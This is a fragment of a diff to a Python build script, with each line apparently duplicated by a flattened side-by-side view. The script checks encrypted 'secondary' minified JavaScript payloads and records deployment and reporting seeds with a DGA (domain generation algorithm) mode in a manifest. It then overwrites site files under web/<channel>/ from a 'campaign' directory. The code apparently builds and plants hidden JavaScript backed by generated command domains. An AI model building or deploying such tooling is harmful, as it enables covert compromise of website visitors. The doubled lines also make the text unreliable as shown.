check = decrypt_secondary_minjs(wire, key) check = decrypt_secondary_minjs(wire, key)
if check != patched[group]: if check != patched[group]:
raise SystemExit(f"round-trip failed for {stem}") raise SystemExit(f"round-trip failed for {stem}")
@@ -156,6 +180,7 @@ def main() -> int:
manifest = { manifest = {
"deployment_seed": dep, "deployment_seed": dep,
"reporting_seed": rep, "reporting_seed": rep,
"channel_id": channel,
"mode": "fixed_domains" if fixed_dep is not None else "dga", "mode": "fixed_domains" if fixed_dep is not None else "dga",
"deployment_domains": fixed_dep, "deployment_domains": fixed_dep,
"reporting_domains": fixed_rep, "reporting_domains": fixed_rep,
@@ -165,6 +190,7 @@ def main() -> int:
(out / "MANIFEST.json").write_text(json.dumps(manifest, indent=2) + "\n") (out / "MANIFEST.json").write_text(json.dumps(manifest, indent=2) + "\n")
if args.apply: if args.apply:
campaign_dir.mkdir(parents=True, exist_ok=True)
for item in built: for item in built:
src = out / f"{item['stem']}.min.js" src = out / f"{item['stem']}.min.js"
dst = campaign_dir / src.name dst = campaign_dir / src.name
@@ -172,8 +198,9 @@ def main() -> int:
print(f"applied -> {dst}") print(f"applied -> {dst}")
print(f"\nDone. Output: {out}") print(f"\nDone. Output: {out}")
print(f"channel: {channel}")
if not args.apply: if not args.apply:
print(f"Re-run with --apply --root <project> to overwrite files under web/") print(f"Re-run with --apply --root <project> to overwrite files under web/{channel}/")
return 0 return 0